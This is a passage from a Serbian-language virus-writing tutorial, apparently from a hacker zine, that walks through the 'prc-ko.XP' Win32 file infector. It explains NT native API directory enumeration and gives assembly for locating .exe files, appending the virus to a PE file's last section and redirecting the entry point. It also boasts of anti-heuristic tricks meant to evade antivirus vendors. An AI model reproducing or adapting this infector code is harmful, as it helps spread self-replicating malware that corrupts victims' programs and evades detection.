InheritDispositin - 1 postavljeno od strane kernel32.dll i od prc-ko.XP takodje
AloocationType    - null, mada moze da bude MEM_COMMIT/ MEM_RESERVE, nisam probao 
                    i ne znam kako ce se ponasati sa tim flagovima, premda 
                    kernel32.dll postavlja null
Protect           - PAGE_NOACCESS 
                          PAGE_READONLY 
                          PAGE_READWRITE 
                          PAGE_WRITECOPY 
                          PAGE_EXECUTE 
                          PAGE_EXECUTE_READ 
                          PAGE_EXECUTE_READWRITE 
                          PAGE_EXECUTE_WRITECOPY 
                          PAGE_GUARD 
                          PAGE_NOCACHE 
                          PAGE_WRITECOMBINE
Moze biti neki od ovih flagova, ali ja koristim 4 posto sam to dobio tracovanjem
MapViewOfFile kroz kernel32 sa PAGE_READWRITE
I poslednji korisni NT native API, nisam nasao nejgovu dokumentaciju u DDK, ali 
sam je naso u NT Uncoumented jeeeeeeeeeeeeeee : 
NtQueryDirectoryFile(

       IN HANDLE               FileHandle,
       IN HANDLE               Event OPTIONAL,
       IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
       IN PVOID                ApcContext OPTIONAL,
       OUT PIO_STATUS_BLOCK    IoStatusBlock,
       OUT PVOID               FileInformation,
       IN ULONG                Length,
       IN FILE_INFORMATION_CLASS FileInformationClass,
       IN BOOLEAN              ReturnSingleEntry,
       IN PUNICODE_STRING      FileMask OPTIONAL,
       IN BOOLEAN              RestartScan );       
                          
FileHandle - handle od direktorijuma (dobija se sa NtOpenFile, tako radi FindFirstFile)
Event      - ??? null
ApcRoutine - ??? null
ApcContext - ??? null
IoStatusBlcok - pointer na IO_STATUS_BLOCK strukturu
FileInformation - buffer koji prima odrednje podatke ja ga turim na 256:dword
Length          - velicina buffera u bajtovima
FileInformationClass - je ustvari enum tip, i moze biti od 1-?? mozda 30 sve u 
svemu nama za za pretragu treba 3 (FileBothDirectoryInformation) i gore pomenuta
struktura
ReturnSingleEntry - 1 ili 0
                    1 vrati samo podatke za 1 fajl
                    0 vrati podatke za sve fajlove, tu nam je od znacaj 
                    NextEntryOffset
FileMask - UNICODE_STRING... *.exe ? E nije vec "<.exe" unicode :) Zasto, 
         bog ce sam znati sto su tako uradili, ali to se dobija tracovanjem...
         Takodje ovo treba koristiti samo prilikom prvog searcha... dok je 
         za sledeci null
RestartScan - koliko vidim i FindFirstFileA/W i FindNextFileA/W
              ovo setuju na 0 pa ne vidim razlog sto bi mi bili izuzetak

E tako to su najvaznije strukture i APIz koje prc-ko.XP korsti... Sad predjimo na 
infekciju i sam taok prc-ko.XP:


C PRC-KO.XP U PRAKSI

1. Da vidimo da vidimo, okle prc-ko.XP-u direktorjum
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Naime da bi mogli nekako otvoriti trenutni direktorjum moramo da znamo 2 stvari:
1. Direktorjum mora bitu u NT Path obliku
2. Kako da znamo ime direktorijuma
       
1. Odogovor na prvo pitanje je prost.
NT PATH za lokalni drajv (valjda se tako zove) mora da pocinje sa \??\ unicode,
vise necu naznacavati da je rec o UNICODE, jer sve na NT ispod haube je UNICODE...
tako da to morate imati u vidu... Jasno? da ... idemo dalje
       
2. Odgovor na ovo pitanje je isto prost ko pasulj ako znamo malo vise o TEB/PEB 
internim strukturama.
Naime na FS:[0] nalazi se TEB, Thread Enviroment Block koji nam pokazuje na PEB 
(Process Enviroment Block), koji sadrzi mnogo lepih stvari za nas, adrese dll-ova, 
ali za nas je najbitniji deo strukture PEB koji se zove __RTL_USER_PROCESS_PARAMETERS
typedef struct _RTL_USER_PROCESS_PARAMETERS {
       ...
       HANDLE                  StdErrorHandle;
       UNICODE_STRING          CurrentDirectoryPath;
       HANDLE                  CurrentDirectoryHandle;
       ...
       RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
       } RTL_USER_PROCESS_PARAMETERS
                     
Dakle eto ga UNICODE_STRING struktura koja pokazuje na CurentDirectory, posto je
CurrentDirectrory UNICODE ali DosPath, taj dir moramo preraditi da bude 
\??\curent_drecitory Evo i deo koda iz prc-ko.XP koji radi to :
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                     mov    eax, dword ptr FS:[30h]
                     mov    eax, dword ptr [eax+10h]
                     add    eax, 24h                    ;CURDIR from PEB/_RTL_USER_PROCESS_PARAMETERS
                                         
                     push   eax                         ;da sacuvamo EAX jer cemo prvo da unicodujemo \??\
                     lea    edi, unicode
                     @pushsz       <"\??\">
                     pop    esi
                     @ansi2unicode
                     pop    esi
                     add    esi, 4                      ;u esi adresa direktorjuma
                     mov    esi, [esi]
                     sub    edi, 2                      ;da skinemo \u0000 koje je @ansi2unicode napravio
__copy_unicode:                     
                     lodsw
                     stosw
                     test   ax, ax
                     jz    __exit_copy_unicode
                     jmp    __copy_unicode
__exit_copy_unicode: 
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

i voila, u unicode lokalnoj promenljivoj imamo \??\C:\tasm32\prc-ko\

Prosto zar ne? khm, zavisi odakle posmatrate, meni je prosto, mozda vam nije, ali 
se da brzo ukapirati ako petaljet malo sa PEB. Skinite livekd i u napad na PEB/TEB 
i da vidimo sta cete interesantno naci :)


2. Ajde da trazimo malo fajlove
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I ovde dolazi do izrazaja najtezi deo posla, najdosadniji, a to je trazenje fajlova.
kernel32.dll ne koristi proste mehanizme ovde, kao i kod ostalih funkcija, pa je
ovo bilo malo mucno napraviti da radi, ali boga mu njegovog radi :)
Za ovo nam treba NtQueryDirectoryFile sa FileBothDirectoryInformation klasom i 
normalno file mask "<.exe" + handle od trenutnog direktorijuma dobijen ili iz
_RTL_USER_PROECESS_PARAMETERS ili dobijen sa NtOpenFile (dir handle me je zafrkavao 
iz _RTL_USER... pa sam koristio NtOpenFile)
I idemo opet deo koda :
       
                     push   4021h
                     push   3
                     lea    eax, ioblock
                     push   eax
                     lea    eax, object
                     push   eax
                     push   100001h
                     lea    eax, dir_handle
                     push   eax
                     @sysenter     NtOpenFile, 6
Voila, sad imamo handle od trenutnog direktorijuma (dobijeno tracovanjem kernel32.dll)
E sad moramo da napravimo file_mask, kod je mnogo laksi za razumevanje pa idem 
direktno na njega.

                     lea    edi, fmask
                     @pushsz       <"<.exe">
                     pop    esi
                     @ansi2unicode
                     lea    esi, au_str
                     lea    edi, fmask
                     call   RtlInitUnicodeString, esi, edi
                     
Dakle prosto, "<.exe" pretvaramo u unicode i pravimo UNICODE_STRING preko
RtlInitUnicodeString koji sam prepisao iz ntdll.dll (10-12 linija cistog asm)
     
Idemo dalje, pocnimo da trazimo fajlove sad i pozovimo NtQueryDirectoryFile:

                     push   0
                     lea    esi, au_str
                     push   esi
                     push   1
                     push   3
                     push   256*2
                     lea    esi, path
                     push   esi
                     lea    esi, ioblock
                     push   esi
                     push   null
                     push   null
                     push   null
                     push   dir_handle
                     @sysenter     NtQueryDirectoryFile, 11
Posto sam ovako lep izgled NtQueryFile dobio tracovanjem + gledanje u opis same 
API, mislim, da je nije potrebno objasnjavati, lepsi je deo koda koji nam daje 
fajl posle ovog poziva.
     
                     lea    esi, path
                     mov    eax, [esi.FileNameLength]
                     lea    edi, [esi.FileName]
                     mov    word ptr[edi+eax], null
                     call   OpenAndInfect,  edi, dir_handle
Ukratko, esi ima adresu buffera u koji smo smestili ono sto nam je od strane 
NtQueryDirectoryFile vraceno
             eax, ima duzinu u bajtovima imena fajla
             edi, pokazuje na pocetak imena fajla
             mov  word ptr[edi+eax], null je jasno, stavlajmo 00 na kraj imena 
             fajla i onda pozivamo funkciju OpenAndInfect kojoj prdajemo ime_fajla,
             i handle od trenutnog direktorijuma
    
Trazenje drugih exe fajlova je identicno s tim sto umesto FileMask predajemo 
nulli sve ostalo je isto Da ne bude zabune to je pretposlednji argument (onaj 
deo lea esi, au_Str, push esi) bice zamenjen sa push null, za vise detalja imate
kod od prc-ko.XP...
    
3. Ono STO VAM NISU REKLI U SKOLI
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Ono STO VAM NISU REKLI U SKOLI A BITNO JE :
    SVE NT NATIVE API CE U EAX DA VRATE GRESKU, AKO JE EAX == 0 FUNKCIJA JE USPELA!!!! 
    Dakle posle poziva NT Apija morate da imate kod:
    test      eax, eax
    jnz       __exit_code (ili sta vec nameravate da uradite posle greske)
    
4. Prosta infekcija koju prc-ko.XP koristi i kako je uraditi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Za mapiranje fajla u memorju pogledajet source kod prc-ko.XP jer me mrzi da to 
objasnjavam, pogotovo sto sam vrednosti dobio tracovanjem odredjenih APIja kroz 
kernel32.dll PRC-KO.XP se ubacuje u poslednji section i redirektuje EP na sebe 
posle cega skace na hosta. Lepota PRC-KO.XP je da ne moramo da obelezavamo section
sa writable jer kod nije samomodifikujuci, a niti cuva podatke u sebi.
Dakle infekcija je prosta onda. uostalom infekcije su najlakse kod ovakvih virusa 
jer samo ubacimo virus i redirectujemo EP na njega. Tako da je to nekih 20-30 
linija koda. Ako ste pocetnik u inficiranju fajlova, ovo je pravo mesto za vas 
da naucite osnovu inficiranja PE fajla. Doduse malo naprednija osnova jer necu 
objasnjavati struktur PE fajla vec idem direktno na infekciju.
    
1. Kad otovorimo neki EXE fajl moramo biti sigurni da je rec o validnom EXE fajlu, 
to cinimo tako sto prvo proveravamo da li se na pocetku nalzi MZ, a takodje 
proveravamo da li postoji PE header u fajlu. Kako to izgleda, PRC-KO.XP kaze ovako :                    
                     mov    ebx, memptr
                     mov    ax, 'ZM'
                     cmp    word ptr[ebx], ax
                     jne    __normal_exit
                     add    ebx, [ebx.MZ_lfanew] ;iliti add ebx, dword ptr [ebx+3ch]
                     mov    ax, 'EP'
                     cmp    word ptr[ebx], ax
                     jne    __normal_exit                                    
2. Red je onda da proverimo da li smo vec inficirali taj fajl, ja mahom koristim
   offset 40h od pocetka fajla da oznacim inficirane fajlove pa mu to dodje ovako:
                     cmp    dword ptr[edi+40h], signature
                     je     __normal_exit               ;yeah, exit
                     mov    dword ptr[edi+40h], signature ;mark it as infected
3. Ajde da nadjemo poslednji section gde cemo da dodamo virus
                     movzx  ecx, [ebx.NT_FileHeader.FH_NumberOfSections]
                     mov    eax, ebx
                     add    eax, size IMAGE_NT_HEADERS
       __last_section:
                     add    eax, size IMAGE_SECTION_HEADER
                     loop   __last_section
Medjutim trik je ovde da sectioni ne moraju da budu organizovani po redosledu po
kome ce biti ucitani u memoriju, medjutim, po mom iskustvu sa mojim celim Program 
Files (zamisli budala infcirala ceo program file prilikom testiranja) to nije 
slucaj. Tako da sectioni kako su poredjani, tim redom se i dizu u memoriju trako 
da ovaj kod lepo radi i upucjuje nas na poslednji section.
       
4. Ubacivanje virusa i promena EP je nesto najlakse, ali i najvarljiviji deo koji
   mi je oduzeo dosta vremena oko kodiranja blackhand.w32 virusa. Prvo blackhand 
   je veliki virus (oko 4kb), a drugoolly dbg je tako smoren sa onom zutom
   pozadinom da mi muka da ga gledam. No trik je sledeci do kojeg sam dosao:
   Ako je SizeOfRawData < od VirtualSize onda se virus kopira na PointerToRawData 
   + SizeOfRawData medjutim ako je drugaciji slucaj znaci SizeOfRawData > VirtualSize
   onda se virus kopira na : PointerToRawData + VirtualSize... Takodje u zavisnosti 
   od ova dva slucaja zavisi i EP :  u prvom slucaju :

              if     (SizeOfRawData < VirtualSize)
                            ep = VirtualAddress + SizeOfrawData
              else
                            ep = VirtualAddress + VirtualSize
Prosta logika :) zar ne :)
Zatim idemo posto uvecavanje VirtualSize, SizeOfRawData i 
NT_OptionalHeader.OH_SizeOFImage za istu velicinu za koju smo povecali fajl, u 
ovom slucaju 1000h (skraceno section_size)
       
5. Kopiranje virusa je najlaksi deo, posto znamo gde je novi EP, podesavamo EDI
da pokazuje na njega ESI pokazuje na pocetak naseg virusa, a ecx ima duzinu 
virusa i idemo samo rep movsb iliti kako bi PRC-KO.XP rekao prostim asm jezikom:

                     mov    edx, [eax.SH_SizeOfRawData]
                     cmp    edx, [eax.SH_VirtualSize]
                     jb     __SH_SizeOfRawData_Is_Smaller
                     mov    edx, [eax.SH_VirtualAddress]
                     add    edx, [eax.SH_VirtualSize]
                     mov    [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
                     mov    edi, [eax.SH_PointerToRawData]
                     add    edi, [eax.SH_VirtualSize]
                     add    edi, memptr
                     jmp    __copy_virus                     
       __SH_SizeOfRawData_Is_Smaller:
                     mov    edx, [eax.SH_VirtualAddress]
                     add    edx, [eax.SH_SizeOfRawData]
                     mov    [ebx.NT_OptionalHeader.OH_AddressOfEntryPoint], edx
                     mov    edi, [eax.SH_PointerToRawData]
                     add    edi, [eax.SH_SizeOfRawData]
                     add    edi, memptr
       __copy_virus:        
                     add    [eax.SH_VirtualSize], section_size
                     add    [eax.SH_SizeOfRawData], section_size
                     add    [ebx.NT_OptionalHeader.OH_SizeOfImage], section_size             
                     call   __give_me_virus_start
       __give_me_virus_start:                                          
                     pop    esi
                     sub    esi, __give_me_virus_start-prc_ko_start
                     mov    ecx, virus_size
                     rep    movsb

Voila virus je kopiran EP redirektovan, samo da zatovorimo mapiranu memoriju i 
idemo na sledeci fajl :))))))))))))

I to je ta prosta infekcija, malo naprednije infekcije? EPO, pomeranje .rsrc 
sectiona u fajlu i ona koja se meni najvise sivjda, a to je da virusom prebrisemo 
.CODE section, a original zveknemo na kraj fajla. Kad zavrsimo sa infekcijom prosto
original prekopiramo umesto virusa i tananana AV nece ni znati da je u pitanju 
virus :)))) Koja ANTI-HEURISTIK FORA :))))))))))) Kasperski duvaj ga :)))))))))



D. Reference & toolz
       NT Undocumented - http://undocumented.ntinternals.net/
       strace          - http://www.bindview.com/Support/RAZOR/Utilities/Windows/strace_readme.cfm
       livekd          - http://www.sysinternals.com/ntw2k/freeware/livekd.shtml
       DDK             - google/ ddk_xp.iso
       tasm32          - http://asm.digitalblood.org/
       olly dbg        - http://home.t-online.de/home/Ollydbg/
       vmware          - http://www.vmware.com

F. Zahalnice/Pohvalnice

       Sundance      -      jedan od najboljih asm kodera na nasim prostorima
       Mil0s         -      za C# i hosting
       bl00d         -      sto se nikad ne trezni :) i bl00d kako na klizanje :))))))))
       Cookie        -      sto je l00d kao struja sa svojim wormom
       BaCkSpAcE     -      do jaja tutorial o snifingu, keve mi moje nikad nisam znao kako to radi :)
       Shatterhand   -      samo napred ortak :) amd64 te ceka :)))))) a tek ia64 :)))))))))))
       AV shitware   -      Zato sto nam stalno postavljaju nove izazove :))))
       i celom #ugs kanalu, koji je najotkacenija druzina koju sam ikada sreo :))))))) 
                                                                                                              
